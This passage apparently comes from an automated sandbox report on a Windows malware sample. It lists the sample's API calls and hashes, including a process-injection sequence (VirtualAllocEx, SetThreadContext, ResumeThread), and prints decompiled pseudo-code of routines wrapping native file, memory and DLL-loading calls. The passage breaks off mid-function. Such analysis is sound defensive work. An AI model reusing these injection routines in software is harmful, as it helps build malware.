                                      • ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 02851CF8
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.261884955.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false
                                      Similarity
                                      • API ID: MemoryProcessRead
                                      • String ID:
                                      • API String ID: 1726664587-0
                                      • Opcode ID: c2044e089730e718ed911e0da41bb4dde40ae7d83fa2985bb3948b1e078f0755
                                      • Instruction ID: d6390a46c6a04a41e8255123c216ddc3534005445a00d918e6858297d2f868aa
                                      • Opcode Fuzzy Hash: c2044e089730e718ed911e0da41bb4dde40ae7d83fa2985bb3948b1e078f0755
                                      • Instruction Fuzzy Hash: C3217C759003099FCB00CF9AC884BDEFBF5FF48320F10842AD919A3240C7789544DBA1
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      • SetThreadContext.KERNELBASE(?,00000000), ref: 028513FE
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.261884955.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false
                                      Similarity
                                      • API ID: ContextThread
                                      • String ID:
                                      • API String ID: 1591575202-0
                                      • Opcode ID: 5e63ce9c03c9d7c93e9dc9ba8232a2ffb7214c30115f1306b51622b736c6d7c3
                                      • Instruction ID: 9f21360a4054b30797afa2e37587fd633b7f8b16433e52a6d44f11b7eb98c378
                                      • Opcode Fuzzy Hash: 5e63ce9c03c9d7c93e9dc9ba8232a2ffb7214c30115f1306b51622b736c6d7c3
                                      • Instruction Fuzzy Hash: 07212C759003098FDB10DFAAC4847EEBBF5EF48364F148429D919A7340D7789985CFA1
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      • ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 02851CF8
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.261884955.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false
                                      Similarity
                                      • API ID: MemoryProcessRead
                                      • String ID:
                                      • API String ID: 1726664587-0
                                      • Opcode ID: 6e4d2ebf25e87bb633c9ab6ec560568c81f49225bd05c5de1f3bc01c2a8ccb2f
                                      • Instruction ID: f6ac3df2b8b54ad16cf203bf0d8a5a804d26674d416e3747430d07292c3f70f1
                                      • Opcode Fuzzy Hash: 6e4d2ebf25e87bb633c9ab6ec560568c81f49225bd05c5de1f3bc01c2a8ccb2f
                                      • Instruction Fuzzy Hash: 3A214AB59002499FCB00CFAAC884BDEBBF5FF48314F108429D919A3240C7789944DBA1
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      • VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 02851B36
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.261884955.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false
                                      Similarity
                                      • API ID: AllocVirtual
                                      • String ID:
                                      • API String ID: 4275171209-0
                                      • Opcode ID: 021ea527fdb9bacec27141739a8fff6ecb3227fe7c9fc61d80e5a49639bcf3a0
                                      • Instruction ID: d901ee0beab46d43c90dcab6368760f1ebdaba6b8504e2fcfb3c18a264779d1b
                                      • Opcode Fuzzy Hash: 021ea527fdb9bacec27141739a8fff6ecb3227fe7c9fc61d80e5a49639bcf3a0
                                      • Instruction Fuzzy Hash: 07117C759002088FCF10DFAAC844BDFBBFAEF48324F148829D519A7250C7759554CFA1
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.261884955.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false
                                      Similarity
                                      • API ID: ResumeThread
                                      • String ID:
                                      • API String ID: 947044025-0
                                      • Opcode ID: 0edad5f05d60121654827d10f67ba7315499e6a1066800b5918101480d66d19f
                                      • Instruction ID: 496a9827df51776d4d4b0f94edce176396aa5607d39b1d7ff7357f88ed45bc3f
                                      • Opcode Fuzzy Hash: 0edad5f05d60121654827d10f67ba7315499e6a1066800b5918101480d66d19f
                                      • Instruction Fuzzy Hash: BF112BB59002488FDB10DFAAD4457DFBBF9EB48324F14882AD519A7340C775A544CB95
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      • FindCloseChangeNotification.KERNELBASE(?), ref: 02855420
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.261884955.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false
                                      Similarity
                                      • API ID: ChangeCloseFindNotification
                                      • String ID:
                                      • API String ID: 2591292051-0
                                      • Opcode ID: a4ee268b8bb7017d6777819da5f7abcf2b0eb06bfd47b28de6a63b67743ffd40
                                      • Instruction ID: 6ec215707b6ebedf0fb93db6fd3f6f553800724553834f92a362fc46d51f47ad
                                      • Opcode Fuzzy Hash: a4ee268b8bb7017d6777819da5f7abcf2b0eb06bfd47b28de6a63b67743ffd40
                                      • Instruction Fuzzy Hash: A0114CB58002098FCB20CF99C449BDEBBF4EB48324F14846AD954B7340D778A584CFA1
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.261884955.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false
                                      Similarity
                                      • API ID: ResumeThread
                                      • String ID:
                                      • API String ID: 947044025-0
                                      • Opcode ID: 34905932a08d8a37417fbddac0f516897b9ddfcd19c6fd61fd264d563e8a90f6
                                      • Instruction ID: 283ec89dba003a6a81270ef653b14a43946d6d49cc01bd8e95c445462170895b
                                      • Opcode Fuzzy Hash: 34905932a08d8a37417fbddac0f516897b9ddfcd19c6fd61fd264d563e8a90f6
                                      • Instruction Fuzzy Hash: 57110AB5D003498FDB10DFAAD4447DFFBF9AB88324F148829D519A7340C779A944CB95
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      • FindCloseChangeNotification.KERNELBASE(?), ref: 02855420
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.261884955.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false
                                      Similarity
                                      • API ID: ChangeCloseFindNotification
                                      • String ID:
                                      • API String ID: 2591292051-0
                                      • Opcode ID: fd1cea99271b969b49766534f6d65951205cbf7eb63b2ad895cb88c47ace419d
                                      • Instruction ID: efdf193c916b63d7cf51c3182fa432a89d2e404970da5aed6e067ebf332bd849
                                      • Opcode Fuzzy Hash: fd1cea99271b969b49766534f6d65951205cbf7eb63b2ad895cb88c47ace419d
                                      • Instruction Fuzzy Hash: 1D1118B58002198FCB20DF99D445BDEBBF8EB48324F14842AD969B7740D778A584CFA1
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      • PostMessageW.USER32(?,?,?,?), ref: 02854A3D
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.261884955.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false
                                      Similarity
                                      • API ID: MessagePost
                                      • String ID:
                                      • API String ID: 410705778-0
                                      • Opcode ID: 7c4f934d0e4b411391b80135a0e20e31675b9387dbf79afd30e6283e6f89ef95
                                      • Instruction ID: 6e56caa14687cada0fa0868ee613bddaa258b18eb583372e44f2fee8d17cc48b
                                      • Opcode Fuzzy Hash: 7c4f934d0e4b411391b80135a0e20e31675b9387dbf79afd30e6283e6f89ef95
                                      • Instruction Fuzzy Hash: 42115BB98003589FCB51DF99C489BDEBFF8EB09324F544419E815B7201C374A984DFA5
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      • PostMessageW.USER32(?,?,?,?), ref: 02854A3D
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.261884955.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false
                                      Similarity
                                      • API ID: MessagePost
                                      • String ID:
                                      • API String ID: 410705778-0
                                      • Opcode ID: 2e4a2f2149823de61c1dd3563f78926bc220c91a33e9959f3ee4994825325413
                                      • Instruction ID: 0522c08eb5b35590bf01559206f73def7f5451fc15122fe53f2ed121e4a324b0
                                      • Opcode Fuzzy Hash: 2e4a2f2149823de61c1dd3563f78926bc220c91a33e9959f3ee4994825325413
                                      • Instruction Fuzzy Hash: A30113B88003499FDB50DF99C588BDEBFF8EB08314F148419E819A3300C3B8A584CFA5
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      Non-executed Functions

                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.261884955.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false
                                      Similarity
                                      • API ID:
                                      • String ID: K^pw$gIE
                                      • API String ID: 0-3424426081
                                      • Opcode ID: 0a6b14135ee32d8ab4ec9b729bec57ae3f15b6f0c66e1a48fad709269bffa970
                                      • Instruction ID: 52d2ebd31d135b859bf28a534342a78ff2c5e0128c278161c5c147081f648195
                                      • Opcode Fuzzy Hash: 0a6b14135ee32d8ab4ec9b729bec57ae3f15b6f0c66e1a48fad709269bffa970
                                      • Instruction Fuzzy Hash: 5771F878E052198BCB04CFA9D5415AEFBF2EF89341F10942AD915F7318EB34AA42CF95
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.261884955.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false
                                      Similarity
                                      • API ID:
                                      • String ID: K^pw$gIE
                                      • API String ID: 0-3424426081
                                      • Opcode ID: 5ae86c98f9d5b05f525afc2aa623b93926370ec4f613fd49b84ccab7db4c02be
                                      • Instruction ID: 5749f58e68a1ab3c22879adabfdd4733d806104538f7fee3c4bd58bb15c5e752
                                      • Opcode Fuzzy Hash: 5ae86c98f9d5b05f525afc2aa623b93926370ec4f613fd49b84ccab7db4c02be
                                      • Instruction Fuzzy Hash: B4611878E052198FCB04CFA9D4815AEFBF2EF89341F10942AD915F7314EB349A428F95
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      Memory Dump Source
                                      • Source File: 00000000.00000002.263036795.0000000004E80000.00000040.00000001.sdmp, Offset: 04E80000, based on PE: false
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 26b570fb1e3ff336a557b81d51fed1fa1203a7626bdefc521dab4d6b5b4f3978
                                      • Instruction ID: 1f528798cccd15c64f7bb8e595bbaa42c74c7d905250a02faecf60b0c43bbf4c
                                      • Opcode Fuzzy Hash: 26b570fb1e3ff336a557b81d51fed1fa1203a7626bdefc521dab4d6b5b4f3978
                                      • Instruction Fuzzy Hash: 3891E771E106198FDB14DFA9C98069DB7F1BF89304F2492AAE41DEB211EB71A981CF40
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      Memory Dump Source
                                      • Source File: 00000000.00000002.263036795.0000000004E80000.00000040.00000001.sdmp, Offset: 04E80000, based on PE: false
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 1cc346eff3c90970ece38f32a449042fd092a535d8ebcfa97c5683b21862d670
                                      • Instruction ID: fc1590cee914d5aee51f4d3179a334c2a3bf9a55d4afd3de278452c80ae60631
                                      • Opcode Fuzzy Hash: 1cc346eff3c90970ece38f32a449042fd092a535d8ebcfa97c5683b21862d670
                                      • Instruction Fuzzy Hash: D091E771E006198FCB14DFA9C98069DB7F1BF89304F2496AAE41DEB311EB31A981CB40
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      Memory Dump Source
                                      • Source File: 00000000.00000002.261884955.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 30058f6e618e18892018989ce607fa04344eb44b48e95179cb3b31d87b8ffbf3
                                      • Instruction ID: 9549cee8587a0ba07e7880a2c862b5e3e60ac6547d14631d88578a88b3286245
                                      • Opcode Fuzzy Hash: 30058f6e618e18892018989ce607fa04344eb44b48e95179cb3b31d87b8ffbf3
                                      • Instruction Fuzzy Hash: 90817078E04229CBCB14DFA9C9846ADFBF3FB85304F24D56AD808A7255D7349942CFA0
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      Memory Dump Source
                                      • Source File: 00000000.00000002.261884955.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 13c4b1d90272a53a638295e25bf273fc7caefaffd6b2de5220edfc16a4bc111b
                                      • Instruction ID: b2cb5b542e59d364ca6775e5b8683d5680a0668875e7baf00e0fc5bcd1fee8e9
                                      • Opcode Fuzzy Hash: 13c4b1d90272a53a638295e25bf273fc7caefaffd6b2de5220edfc16a4bc111b
                                      • Instruction Fuzzy Hash: B9718278E042298BCB14DFA9C9846AEFBF3FB85304F24D56AD808E7255D7349942CF61
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      Memory Dump Source
                                      • Source File: 00000000.00000002.261884955.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 3fe80d11a2af11191ff01ad2e2e8e1be99e53da0107d09f2dc0ef36066e4df81
                                      • Instruction ID: 630d86b38afbbcb0dc780b2cf3592b4e27cc2f95bec03481f5ec4ce75176056e
                                      • Opcode Fuzzy Hash: 3fe80d11a2af11191ff01ad2e2e8e1be99e53da0107d09f2dc0ef36066e4df81
                                      • Instruction Fuzzy Hash: 4E618F78E042298BCB14DFA9C5849ADFBF3FB85308B24D55AD809E7359D734A902CF60
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      Memory Dump Source
                                      • Source File: 00000000.00000002.261884955.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: d3557fdb1ddb43ae4799954ab7ffe69f3e723f3506cae9ff0502aa831722752d
                                      • Instruction ID: dca7719137545c3d64016212a1708db6c61fedbf49962b37371215a602596bd8
                                      • Opcode Fuzzy Hash: d3557fdb1ddb43ae4799954ab7ffe69f3e723f3506cae9ff0502aa831722752d
                                      • Instruction Fuzzy Hash: C9310975D046288BDB28CF67D8047DEFAB7ABC9300F04D1BA880DB6254EB3449868F51
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      Memory Dump Source
                                      • Source File: 00000000.00000002.261884955.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 71e853435ec5d4e3f8df2b5b34b5f01fd0b57ab4e2675dda0cb9b9fabad0e8c6
                                      • Instruction ID: 37fb3ba8c4dd4e947f7d292b7b932fb2551b05e82478edb9b9274a70b3c12505
                                      • Opcode Fuzzy Hash: 71e853435ec5d4e3f8df2b5b34b5f01fd0b57ab4e2675dda0cb9b9fabad0e8c6
                                      • Instruction Fuzzy Hash: F4112675E116298BDB18CFAAD8446EEFBF7ABC8210F14C06AD808A7254DB345A01CF91
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      Memory Dump Source
                                      • Source File: 00000000.00000002.261884955.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 39cb028e04e704ce7ad24064fc07210f708158b9bfefa8ab113189db8ccba59c
                                      • Instruction ID: 11897dbe2e6631f3bf6a2a7dcc5c9319d7e2bdcd4976ed2eace620bce15ad0f8
                                      • Opcode Fuzzy Hash: 39cb028e04e704ce7ad24064fc07210f708158b9bfefa8ab113189db8ccba59c
                                      • Instruction Fuzzy Hash: 501137B5E116189BDB58CFAAD8457EEFBF7ABC8210F14C02AD808A7254EB345A018F55
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      Executed Functions

                                      APIs
                                      • NtReadFile.NTDLL(R=A,5E972F59,FFFFFFFF,00413A11,?,?,R=A,?,00413A11,FFFFFFFF,5E972F59,00413D52,?,00000000), ref: 004182B5
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.340222255.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true
                                      Yara matches
                                      Similarity
                                      • API ID: FileRead
                                      • String ID: R=A$R=A
                                      • API String ID: 2738559852-3742021989
                                      • Opcode ID: 77e3e92e39f02499447809e9bb1e0856b94e037ca7f17e4cf2195732d1b66216
                                      • Instruction ID: 31a14731f1b98b0008abc49e103c469323a65c0b377b6baf7d7d5853e7362339
                                      • Opcode Fuzzy Hash: 77e3e92e39f02499447809e9bb1e0856b94e037ca7f17e4cf2195732d1b66216
                                      • Instruction Fuzzy Hash: 48F0E7B2200108ABCB04DF89DC81DEB77A9AF8C354F018248BE1D97251C630E8118BA0
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 37%
                                      			E00418270(intOrPtr _a4, char _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, char _a32, intOrPtr _a36, intOrPtr _a40) {
                                      				void* _t18;
                                      				void* _t27;
                                      				intOrPtr* _t28;
                                      
                                      				_t13 = _a4;
                                      				_t28 = _a4 + 0xc48;
                                      				E00418DC0(_t27, _t13, _t28,  *((intOrPtr*)(_t13 + 0x10)), 0, 0x2a);
                                      				_t6 =  &_a32; // 0x413d52
                                      				_t12 =  &_a8; // 0x413d52
                                      				_t18 =  *((intOrPtr*)( *_t28))( *_t12, _a12, _a16, _a20, _a24, _a28,  *_t6, _a36, _a40); // executed
                                      				return _t18;
                                      			}






                                      0x00418273
                                      0x0041827f
                                      0x00418287
                                      0x00418292
                                      0x004182ad
                                      0x004182b5
                                      0x004182b9

                                      APIs
                                      • NtReadFile.NTDLL(R=A,5E972F59,FFFFFFFF,00413A11,?,?,R=A,?,00413A11,FFFFFFFF,5E972F59,00413D52,?,00000000), ref: 004182B5
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.340222255.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true
                                      Yara matches
                                      Similarity
                                      • API ID: FileRead
                                      • String ID: R=A$R=A
                                      • API String ID: 2738559852-3742021989
                                      • Opcode ID: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
                                      • Instruction ID: 44195af4cfcd7844dc5464a96f27935e8bb9154da72c22cdf586d036b66e8624
                                      • Opcode Fuzzy Hash: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
                                      • Instruction Fuzzy Hash: 8EF0A4B2200208ABCB14DF89DC81EEB77ADAF8C754F158649BA1D97241DA30E8518BA4
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E00409B20(void* __eflags, void* _a4, intOrPtr _a8) {
                                      				char* _v8;
                                      				struct _EXCEPTION_RECORD _v12;
                                      				struct _OBJDIR_INFORMATION _v16;
                                      				char _v536;
                                      				void* _t15;
                                      				struct _OBJDIR_INFORMATION _t17;
                                      				struct _OBJDIR_INFORMATION _t18;
                                      				void* _t30;
                                      				void* _t31;
                                      				void* _t32;
                                      
                                      				_v8 =  &_v536;
                                      				_t15 = E0041AB50( &_v12, 0x104, _a8);
                                      				_t31 = _t30 + 0xc;
                                      				if(_t15 != 0) {
                                      					_t17 = E0041AF70(__eflags, _v8);
                                      					_t32 = _t31 + 4;
                                      					__eflags = _t17;
                                      					if(_t17 != 0) {
                                      						E0041B1F0( &_v12, 0);
                                      						_t32 = _t32 + 8;
                                      					}
                                      					_t18 = E00419300(_v8);
                                      					_v16 = _t18;
                                      					__eflags = _t18;
                                      					if(_t18 == 0) {
                                      						LdrLoadDll(0, 0,  &_v12,  &_v16); // executed
                                      						return _v16;
                                      					}
                                      					return _t18;
                                      				} else {
                                      					return _t15;
                                      				}
                                      			}













                                      0x00409b3c
                                      0x00409b3f
                                      0x00409b44
                                      0x00409b49
                                      0x00409b53
                                      0x00409b58
                                      0x00409b5b
                                      0x00409b5d
                                      0x00409b65
                                      0x00409b6a
                                      0x00409b6a
                                      0x00409b71
                                      0x00409b79
                                      0x00409b7c
                                      0x00409b7e
                                      0x00409b92
                                      0x00000000
                                      0x00409b94
                                      0x00409b9a
                                      0x00409b4e
                                      0x00409b4e
                                      0x00409b4e

                                      APIs
                                      • LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 00409B92
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.340222255.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true
                                      Yara matches
                                      Similarity
                                      • API ID: Load
                                      • String ID:
                                      • API String ID: 2234796835-0
                                      • Opcode ID: 54eed7fb54c4bb33c5ecf3c62be074d2fec7e96364ab3bba8fcd8ce07f2b6dc1
                                      • Instruction ID: f6872c6640a97d379917802917a35d8835196bd2b620e753e6f67e56f73dccdd
                                      • Opcode Fuzzy Hash: 54eed7fb54c4bb33c5ecf3c62be074d2fec7e96364ab3bba8fcd8ce07f2b6dc1
                                      • Instruction Fuzzy Hash: EC0100B5D0010DBBDB10DAA5EC42FDEB778AB54318F0041A9A908A7281F635EA54C795
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E004181C0(intOrPtr _a4, HANDLE* _a8, long _a12, struct _EXCEPTION_RECORD _a16, struct _ERESOURCE_LITE _a20, struct _GUID _a24, long _a28, long _a32, long _a36, long _a40, void* _a44, long _a48) {
                                      				long _t21;
                                      				void* _t31;
                                      
                                      				_t3 = _a4 + 0xc40; // 0xc40
                                      				E00418DC0(_t31, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x28);
                                      				_t21 = NtCreateFile(_a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40, _a44, _a48); // executed
                                      				return _t21;
                                      			}





                                      0x004181cf
                                      0x004181d7
                                      0x0041820d
                                      0x00418211

                                      APIs
                                      • NtCreateFile.NTDLL(00000060,00408AF3,?,00413B97,00408AF3,FFFFFFFF,?,?,FFFFFFFF,00408AF3,00413B97,?,00408AF3,00000060,00000000,00000000), ref: 0041820D
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.340222255.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true
                                      Yara matches
                                      Similarity
                                      • API ID: CreateFile
                                      • String ID:
                                      • API String ID: 823142352-0
                                      • Opcode ID: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
                                      • Instruction ID: 76db84dd9462a71377061bd321799a59568980bd09e0245c51acac76316ecf65
                                      • Opcode Fuzzy Hash: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
                                      • Instruction Fuzzy Hash: 52F0B6B2200208ABCB08CF89DC85DEB77ADAF8C754F158248FA0D97241C630E8518BA4
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 64%
                                      			E0041839A(intOrPtr _a4, void* _a8, PVOID* _a12, long _a16, long* _a20, long _a24, long _a28) {
                                      				long _t14;
                                      				void* _t21;
                                      
                                      				asm("a16 push ds");
                                      				asm("adc edx, [edi+ebx*8-0x1374aa3b]");
                                      				_t10 = _a4;
                                      				_t3 = _t10 + 0xc60; // 0xca0
                                      				E00418DC0(_t21, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x30);
                                      				_t14 = NtAllocateVirtualMemory(_a8, _a12, _a16, _a20, _a24, _a28); // executed
                                      				return _t14;
                                      			}





                                      0x0041839a
                                      0x0041839c
                                      0x004183a3
                                      0x004183af
                                      0x004183b7
                                      0x004183d9
                                      0x004183dd

                                      APIs
                                      • NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,?,00418F94,?,00000000,?,00003000,00000040,00000000,00000000,00408AF3), ref: 004183D9
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.340222255.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true
                                      Yara matches
                                      Similarity
                                      • API ID: AllocateMemoryVirtual
                                      • String ID:
                                      • API String ID: 2167126740-0
                                      • Opcode ID: 85fe784de00b6778fc2fb4c16687b0fc079780364f245381ac0a8da7727e4caa
                                      • Instruction ID: 49a0a8c4cde4a5d2ee8dc5f7166348a1084f057a52dcd718ece164053c15eb48
                                      • Opcode Fuzzy Hash: 85fe784de00b6778fc2fb4c16687b0fc079780364f245381ac0a8da7727e4caa
                                      • Instruction Fuzzy Hash: 73F0F8B5201109ABDB14DF89DC80EE777A9EF88354F158649FA0897251CA34E920CBE0
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E004183A0(intOrPtr _a4, void* _a8, PVOID* _a12, long _a16, long* _a20, long _a24, long _a28) {
                                      				long _t14;
                                      				void* _t21;
                                      
                                      				_t3 = _a4 + 0xc60; // 0xca0
                                      				E00418DC0(_t21, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x30);
                                      				_t14 = NtAllocateVirtualMemory(_a8, _a12, _a16, _a20, _a24, _a28); // executed
                                      				return _t14;
                                      			}





                                      0x004183af
                                      0x004183b7
                                      0x004183d9
                                      0x004183dd

                                      APIs
                                      • NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,?,00418F94,?,00000000,?,00003000,00000040,00000000,00000000,00408AF3), ref: 004183D9
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.340222255.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true
                                      Yara matches
                                      Similarity
                                      • API ID: AllocateMemoryVirtual
                                      • String ID:
                                      • API String ID: 2167126740-0
                                      • Opcode ID: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
                                      • Instruction ID: ed05b43336be2385218ce2c210938f1a749d46cd8ec257da0df7421e0e4bafff
                                      • Opcode Fuzzy Hash: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
                                      • Instruction Fuzzy Hash: BCF015B2200208ABCB14DF89DC81EEB77ADAF88754F118549FE0897241CA30F810CBA4
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E004182F0(intOrPtr _a4, void* _a8) {
                                      				long _t8;
                                      				void* _t11;
                                      
                                      				_t5 = _a4;
                                      				_t2 = _t5 + 0x10; // 0x300
                                      				_t3 = _t5 + 0xc50; // 0x409743
                                      				E00418DC0(_t11, _a4, _t3,  *_t2, 0, 0x2c);
                                      				_t8 = NtClose(_a8); // executed
                                      				return _t8;
                                      			}





                                      0x004182f3
                                      0x004182f6
                                      0x004182ff
                                      0x00418307
                                      0x00418315
                                      0x00418319

                                      APIs
                                      • NtClose.NTDLL(00413D30,?,?,00413D30,00408AF3,FFFFFFFF), ref: 00418315
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.340222255.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true
                                      Yara matches
                                      Similarity
                                      • API ID: Close
                                      • String ID:
                                      • API String ID: 3535843008-0
                                      • Opcode ID: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
                                      • Instruction ID: fa02b1b0b4c248d7afc65a810b6911db7169f724aa7cfa6c67706bd771296af7
                                      • Opcode Fuzzy Hash: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
                                      • Instruction Fuzzy Hash: F5D01776200314ABD710EF99DC85EE77BACEF48760F154499BA189B282CA30FA0086E0
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 93%
                                      			E004088B0(intOrPtr* _a4) {
                                      				intOrPtr _v8;
                                      				char _v24;
                                      				char _v284;
                                      				char _v804;
                                      				char _v840;
                                      				void* _t24;
                                      				void* _t31;
                                      				void* _t33;
                                      				void* _t34;
                                      				void* _t39;
                                      				void* _t50;
                                      				intOrPtr* _t52;
                                      				void* _t53;
                                      				void* _t54;
                                      				void* _t55;
                                      				void* _t56;
                                      
                                      				_t52 = _a4;
                                      				_t39 = 0; // executed
                                      				_t24 = E00406E00(_t52,  &_v24); // executed
                                      				_t54 = _t53 + 8;
                                      				if(_t24 != 0) {
                                      					E00407010( &_v24,  &_v840);
                                      					_t55 = _t54 + 8;
                                      					do {
                                      						E00419CD0( &_v284, 0x104);
                                      						E0041A340( &_v284,  &_v804);
                                      						_t56 = _t55 + 0x10;
                                      						_t50 = 0x4f;
                                      						while(1) {
                                      							_t31 = E00413DD0(E00413D70(_t52, _t50),  &_v284);
                                      							_t56 = _t56 + 0x10;
                                      							if(_t31 != 0) {
                                      								break;
                                      							}
                                      							_t50 = _t50 + 1;
                                      							if(_t50 <= 0x62) {
                                      								continue;
                                      							} else {
                                      							}
                                      							goto L8;
                                      						}
                                      						_t9 = _t52 + 0x14; // 0xffffe1a5
                                      						 *(_t52 + 0x474) =  *(_t52 + 0x474) ^  *_t9;
                                      						_t39 = 1;
                                      						L8:
                                      						_t33 = E00407040( &_v24,  &_v840);
                                      						_t55 = _t56 + 8;
                                      					} while (_t33 != 0 && _t39 == 0);
                                      					_t34 = E004070C0(_t52,  &_v24); // executed
                                      					if(_t39 == 0) {
                                      						asm("rdtsc");
                                      						asm("rdtsc");
                                      						_v8 = _t34 - 0 + _t34;
                                      						 *((intOrPtr*)(_t52 + 0x55c)) =  *((intOrPtr*)(_t52 + 0x55c)) + 0xffffffba;
                                      					}
                                      					 *((intOrPtr*)(_t52 + 0x31)) =  *((intOrPtr*)(_t52 + 0x31)) + _t39;
                                      					_t20 = _t52 + 0x31; // 0x5608758b
                                      					 *((intOrPtr*)(_t52 + 0x32)) =  *((intOrPtr*)(_t52 + 0x32)) +  *_t20 + 1;
                                      					return 1;
                                      				} else {
                                      					return _t24;
